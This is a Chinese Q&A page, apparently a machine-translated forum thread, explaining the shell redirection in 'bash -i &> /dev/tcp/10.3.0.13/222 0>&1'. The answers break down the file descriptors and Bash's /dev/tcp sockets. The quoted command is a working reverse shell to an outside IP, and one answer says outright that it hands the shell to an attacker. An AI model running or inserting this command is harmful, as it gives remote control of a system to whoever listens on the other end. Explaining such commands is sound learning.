0>&1 shell 重定向是什么意思?

0>&1 shell 重定向是什么意思?

尝试理解该命令:

bash -i &> /dev/tcp/10.3.0.13/222 0>&1

这意味着“bash -i”的STDIN将获得STDOUT内容?

答案1

&> file本身与 相同> file 2>&1,即在文件描述符 1 上以只写模式打开file,并将该文件描述符 1 复制到文件描述符 2,以便 fd 1 和 2(stdout 和 stderr)都指向该文件描述符打开文件描述

0>&10<&1(与或相同<&1)将 0 (stdin) 添加到列表中。它还将 fd 1 复制到 0(使 fd 0 指向与 fd 1 指向的相同资源)。

现在,当执行> /dev/tcp/host/portin时bash(就像在 ksh 中,该功能来自该功能),而不是执行 a open(file, O_WRONLY)bash而是创建一个 TCP 套接字并将其连接到host:port。那不是一个只写重定向,这是一个读+写网络套接字。

所以最终得到的 fds 0、1 和 2 都是bash -iTCP 套接字。当bash -i读取其 stdin 时,它会从套接字读取,因此从位于另一端的任何内容读取,host:post并且当它(或从那里运行的任何命令)写入 fd 1 或 2 时,它会通过该套接字发送。

答案2

让我们一步一步来。

  1. bash -i:打开交互式 shell
  2. &>:将标准输出和错误重定向到打开到 IP 10.3.0.13 的套接字,该套接字将在端口 222 上侦听
  3. 0>&1:我喜欢将其读作 0<&1。这实际上意味着“0”附加到“1”,这意味着标准输入附加到标准输出,并且从要点 2 中我们知道该 bash 进程的标准输入可供在端口 222 上侦听的攻击者使用。

答案3

简而言之,该命令打开一个交互式 bash shell,该 shell 通过 tcp 套接字从 ip 指定的主机读取输入并将其输出和错误传递到该主机。

详细信息:(!!!由于我不是专家,某些描述可能不准确或不精确。)

&> /dev/tcp/10.3.0.13/222有两个部分。第一的:

/dev/tcp/10.3.0.13/222

Bash 在重定向中使用时会专门处理多个文件名,例如 /dev/tcp/host/port

如果 host 是有效的主机名或 Internet 地址,并且 port 是整数端口号或服务名称,Bash 会尝试打开相应的 TCP 套接字。

第二:

重定向&>运算符,用于将标准输出和标准错误定向到同一文件。

因此,&> /dev/tcp/10.3.0.13/222意味着打开相应的 TCP 套接字并将标准输出和标准错误重定向到套接字。

重定向实际上分配一个新的文件描述符,该描述符引用与旧描述符相同的打开文件描述。

打开文件描述是系统范围的打开文件表中的一个条目。打开文件描述记录了文件偏移量和文件状态标志。文件描述符是对打开文件描述的引用;如果随后删除或修改路径名以引用不同的文件,则此引用不受影响。

因此,实际上站输出误差(它们实际上是文件描述符)和套接字的文件描述符现在指的是同一个打开文件描述。这意味着只要 bash 有输出或错误,这些数据就会写入套接字并发送到上面指定的目标主机。

0>&1

重定向站立输入站输出。使用上面的想法,它的字面意思是站立输入指的是相同的打开文件描述这是由站输出;这与也被引用的相同误差套接字的文件描述符。这意味着每当执行此命令的主机通过TCP套接字,bash 将其读取为输入。

如果不了解重定向的实际含义,则很难理解重定向的含义。站立输入站输出。这并不意味着阅读站输出作为站立输入,因为它没有意义。它实际上意味着站立输入站输出指的是相同的打开文件描述。因此该命令读取输入并将其输出传递到同一个文件,就像这里的套接字一样。

参考:

https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html

https://man7.org/linux/man-pages/man2/open.2.html

https://man7.org/linux/man-pages/man2/socket.2.html

相关内容